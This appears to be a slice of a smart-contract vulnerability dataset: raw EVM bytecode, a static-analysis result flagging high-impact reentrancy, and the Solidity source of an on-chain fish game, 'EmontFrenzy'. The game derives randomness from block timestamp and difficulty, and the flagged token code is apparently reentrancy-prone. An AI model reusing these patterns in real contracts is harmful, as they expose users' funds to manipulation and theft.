363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550662f5e9881231200600f81905550665ebd31024624006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a81905550600c600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a81905550600c600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b600080600060085490506000670c55f7bbee0830009050612329670c55f7bbee083000600854611cef90919063ffffffff16565b82101561234757600854670c55f7bbee083000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079114d7f54867ac7c2fe0eef9dd01591f4add6d9c783fca83505e111c01231d764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,012
0xb5f8ed7a761200d80a9971268302ef3ff1aafbec
pragma solidity ^0.4.19; contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; function BasicAccessControl() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } contract EmontFrenzy is BasicAccessControl { uint constant public HIGH = 20; uint constant public BASE_POS = 510; uint constant public ONE_EMONT = 10 ** 8; struct Fish { address player; uint weight; bool active; // location != 0 } // private uint private seed; // address address public tokenContract; // variable uint public addFee = 0.01 ether; uint public addWeight = 5 * 10 ** 8; // emont uint public moveCharge = 5; // percentage uint public cashOutRate = 100; // to EMONT rate uint public cashInRate = 50; // from EMONT to fish weight uint public width = 50; uint public minJump = 2 * 2; uint public maxPos = HIGH * width; // valid pos (0 -> maxPos - 1) mapping(uint => Fish) fishMap; mapping(uint => uint) ocean; // pos => fish id mapping(uint => uint) bonus; // pos => emont amount mapping(address => uint) players; mapping(uint => uint) maxJumps; // weight in EMONT => square length uint public totalFish = 0; // event event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event EventCashout(address indexed player, uint fishId, uint weight); event EventBonus(uint pos, uint value); event EventMove(address indexed player, uint fishId, uint fromPos, uint toPos, uint weight); event EventEat(address indexed player, address indexed defender, uint playerFishId, uint defenderFishId, uint fromPos, uint toPos, uint playerWeight); event EventSuicide(address indexed player, address indexed defender, uint playerFishId, uint defenderFishId, uint fromPos, uint toPos, uint defenderWeight); // modifier modifier requireTokenContract { require(tokenContract != address(0)); _; } function EmontFrenzy(address _tokenContract) public { tokenContract = _tokenContract; seed = getRandom(0); } function setConfig(uint _addFee, uint _addWeight, uint _moveCharge, uint _cashOutRate, uint _cashInRate, uint _width) onlyModerators external { addFee = _addFee; addWeight = _addWeight; moveCharge = _moveCharge; cashOutRate = _cashOutRate; cashInRate = _cashInRate; width = _width; maxPos = HIGH * width; } // weight in emont, x*x function updateMaxJump(uint _weight, uint _squareLength) onlyModerators external { maxJumps[_weight] = _squareLength; } function setDefaultMaxJump() onlyModerators external { maxJumps[0] = 50 * 50; maxJumps[1] = 30 * 30; maxJumps[2] = 20 * 20; maxJumps[3] = 15 * 15; maxJumps[4] = 12 * 12; maxJumps[5] = 9 * 9; maxJumps[6] = 7 * 7; maxJumps[7] = 7 * 7; maxJumps[8] = 6 * 6; maxJumps[9] = 6 * 6; maxJumps[10] = 6 * 6; maxJumps[11] = 5 * 5; maxJumps[12] = 5 * 5; maxJumps[13] = 5 * 5; maxJumps[14] = 5 * 5; maxJumps[15] = 4 * 4; maxJumps[16] = 4 * 4; maxJumps[17] = 4 * 4; maxJumps[18] = 4 * 4; maxJumps[19] = 4 * 4; maxJumps[20] = 3 * 3; maxJumps[21] = 3 * 3; maxJumps[22] = 3 * 3; maxJumps[23] = 3 * 3; maxJumps[24] = 3 * 3; maxJumps[25] = 3 * 3; } function updateMinJump(uint _minJump) onlyModerators external { minJump = _minJump; } // moderators function withdrawEther(address _sendTo, uint _amount) onlyModerators external { // no user money is kept in this contract, only trasaction fee if (_amount > address(this).balance) { revert(); } _sendTo.transfer(_amount); } function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external { ERC20Interface token = ERC20Interface(tokenContract); if (_amount > token.balanceOf(address(this))) { revert(); } token.transfer(_sendTo, _amount); } function addBonus(uint _pos, uint _amount) onlyModerators external { bonus[_pos] += _amount; EventBonus(_pos, _amount); } // for payment contract to call function AddFishByToken(address _player, uint tokens) onlyModerators external { uint weight = tokens * cashInRate / 100; if (weight != addWeight) revert(); // max: one fish per address if (fishMap[players[_player]].weight > 0) revert(); totalFish += 1; Fish storage fish = fishMap[totalFish]; fish.player = _player; fish.weight = addWeight; fish.active = false; players[_player] = totalFish; seed = getRandom(seed); Transfer(address(0), _player, totalFish); } // public functions function getRandom(uint _seed) constant public returns(uint) { return uint(keccak256(block.timestamp, block.difficulty)) ^ _seed; } function AddFish() isActive payable external { if (msg.value != addFee) revert(); // max: one fish per address if (fishMap[players[msg.sender]].weight > 0) revert(); totalFish += 1; Fish storage fish = fishMap[totalFish]; fish.player = msg.sender; fish.weight = addWeight; fish.active = false; players[msg.sender] = totalFish; seed = getRandom(seed); Transfer(address(0), msg.sender, totalFish); } function DeductABS(uint _a, uint _b) pure public returns(uint) { if (_a > _b) return (_a - _b); return (_b - _a); } function MoveFish(uint _fromPos, uint _toPos) isActive external { // check valid _x, _y if (_toPos >= maxPos && _fromPos != _toPos) revert(); uint fishId = players[msg.sender]; Fish storage fish = fishMap[fishId]; if (fish.weight == 0) revert(); if (!fish.active && _fromPos != BASE_POS) revert(); if (fish.active && ocean[_fromPos] != fishId) revert(); // check valid move uint tempX = DeductABS(_fromPos / HIGH, _toPos / HIGH); uint tempY = DeductABS(_fromPos % HIGH, _toPos % HIGH); uint squareLength = maxJumps[fish.weight / ONE_EMONT]; if (squareLength == 0) squareLength = minJump; if (tempX * tempX + tempY * tempY > squareLength) revert(); // move ocean[_fromPos] = 0; // charge when swiming except from the base if (_fromPos != BASE_POS) { tempX = (moveCharge * fish.weight) / 100; bonus[_fromPos] += tempX; fish.weight -= tempX; } else { fish.active = true; } // go back to base if (_toPos == BASE_POS) { fish.active = false; EventMove(msg.sender, fishId, _fromPos, _toPos, fish.weight); return; } tempX = ocean[_toPos]; // target fish id // no fish at that location if (tempX == 0) { if (bonus[_toPos] > 0) { fish.weight += bonus[_toPos]; bonus[_toPos] = 0; } // update location EventMove(msg.sender, fishId, _fromPos, _toPos, fish.weight); ocean[_toPos] = fishId; } else { // can not attack from the base if (_fromPos == BASE_POS) revert(); Fish storage targetFish = fishMap[tempX]; if (targetFish.weight <= fish.weight) { // eat the target fish fish.weight += targetFish.weight; targetFish.weight = 0; // update location ocean[_toPos] = fishId; EventEat(msg.sender, targetFish.player, fishId, tempX, _fromPos, _toPos, fish.weight); Transfer(targetFish.player, address(0), tempX); } else { // bonus to others seed = getRandom(seed); tempY = seed % (maxPos - 1); if (tempY == BASE_POS) tempY += 1; bonus[tempY] = fish.weight * 2; EventBonus(tempY, fish.weight * 2); // suicide targetFish.weight -= fish.weight; fish.weight = 0; EventSuicide(msg.sender, targetFish.player, fishId, tempX, _fromPos, _toPos, targetFish.weight); Transfer(msg.sender, address(0), fishId); } } } function CashOut(uint _amount) isActive external { uint fishId = players[msg.sender]; Fish storage fish = fishMap[fishId]; if (fish.weight < _amount + addWeight) revert(); fish.weight -= _amount; ERC20Interface token = ERC20Interface(tokenContract); if (_amount > token.balanceOf(address(this))) { revert(); } token.transfer(msg.sender, (_amount * cashOutRate) / 100); EventCashout(msg.sender, fishId, fish.weight); } // public get function getFish(uint32 _fishId) constant public returns(address player, uint weight, bool active) { Fish storage fish = fishMap[_fishId]; return (fish.player, fish.weight, fish.active); } function getFishByAddress(address _player) constant public returns(uint fishId, address player, uint weight, bool active) { fishId = players[_player]; Fish storage fish = fishMap[fishId]; player = fish.player; weight =fish.weight; active = fish.active; } function getFishIdByAddress(address _player) constant public returns(uint fishId) { return players[_player]; } function getFishIdByPos(uint _pos) constant public returns(uint fishId) { return ocean[_pos]; } function getFishByPos(uint _pos) constant public returns(uint fishId, address player, uint weight) { fishId = ocean[_pos]; Fish storage fish = fishMap[fishId]; return (fishId, fish.player, fish.weight); } // cell has valid fish or bonus function findTargetCell(uint _fromPos, uint _toPos) constant public returns(uint pos, uint fishId, address player, uint weight) { for (uint index = _fromPos; index <= _toPos; index+=1) { if (ocean[index] > 0) { fishId = ocean[index]; Fish storage fish = fishMap[fishId]; return (index, fishId, fish.player, fish.weight); } if (bonus[index] > 0) { return (index, 0, address(0), bonus[index]); } } } function getStats() constant public returns(uint countFish, uint countBonus) { countFish = 0; countBonus = 0; for (uint index = 0; index < width * HIGH; index++) { if (ocean[index] > 0) { countFish += 1; } else if (bonus[index] > 0) { countBonus += 1; } } } function getFishAtBase(uint _fishId) constant public returns(uint fishId, address player, uint weight) { for (uint id = _fishId; id <= totalFish; id++) { Fish storage fish = fishMap[id]; if (fish.weight > 0 && !fish.active) { return (id, fish.player, fish.weight); } } return (0, address(0), 0); } function getMaxJump(uint _weight) constant public returns(uint) { return maxJumps[_weight]; } // some meta data string public constant name = "EmontFrenzy"; string public constant symbol = "EMONF"; function totalSupply() public view returns (uint256) { return totalFish; } function balanceOf(address _owner) public view returns (uint256 _balance) { if (fishMap[players[_owner]].weight > 0) return 1; return 0; } function ownerOf(uint256 _tokenId) public view returns (address _owner) { Fish storage fish = fishMap[_tokenId]; if (fish.weight > 0) return fish.player; return address(0); } function transfer(address _to, uint256 _tokenId) public{ require(_to != address(0)); uint fishId = players[msg.sender]; Fish storage fish = fishMap[fishId]; if (fishId == 0 || fish.weight == 0 || fishId != _tokenId) revert(); if (balanceOf(_to) > 0) revert(); fish.player = _to; players[msg.sender] = 0; players[_to] = fishId; Transfer(msg.sender, _to, _tokenId); } }
0x606060405260043610610251576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301239adf1461025657806306fdde031461027f57806314d0f1ba1461030d57806318160ddd1461035e5780632f48f1511461038757806333835161146103b057806348ef5aa8146104005780634db77d9d146104255780634efb023e1461045c5780634fbf6e9f1461048d578063503c849e14610508578063522f68151461053157806354f60aea1461057357806355a373d61461059c57806359b62658146105f15780635c7b9ccf1461063357806362b26f951461065c5780636352211e14610685578063672324ac146106e85780636c81fd6d1461071157806370a082311461074a578063754ad9811461079757806378761590146107c35780637c17dc02146108445780638da5cb5b1461084e578063905473cf146108a357806395d89b41146108cf5780639b01c7ac1461095d5780639e281a98146109aa5780639ededf77146109ec5780639ffa071114610a15578063a9059cbb14610a38578063b02b69d614610a7a578063b60868be14610aa6578063b73974a114610b17578063b85d627514610b40578063be32eeba14610b79578063c0b332c114610bb0578063c59d484714610bd9578063cd4b691414610c09578063cf2d03ae14610c40578063d398806d14610c69578063d4fa902114610c8c578063ecd747de14610ccc578063ee4e441614610d3d578063f285329214610d6a578063f838ea1a14610da3578063f8ecb55814610db8578063fbe3549c14610e4a575b600080fd5b341561026157600080fd5b610269610e73565b6040518082815260200191505060405180910390f35b341561028a57600080fd5b610292610e79565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102d25780820151818401526020810190506102b7565b50505050905090810190601f1680156102ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031857600080fd5b610344600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb2565b604051808215151515815260200191505060405180910390f35b341561036957600080fd5b610371610ed2565b6040518082815260200191505060405180910390f35b341561039257600080fd5b61039a610edc565b6040518082815260200191505060405180910390f35b34156103bb57600080fd5b6103fe6004808035906020019091908035906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050610ee2565b005b341561040b57600080fd5b61042360048080351515906020019091905050610fd6565b005b341561043057600080fd5b610446600480803590602001909190505061104e565b6040518082815260200191505060405180910390f35b341561046757600080fd5b61046f61106b565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561049857600080fd5b6104b4600480803563ffffffff1690602001909190505061107f565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390f35b341561051357600080fd5b61051b6110ea565b6040518082815260200191505060405180910390f35b341561053c57600080fd5b610571600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190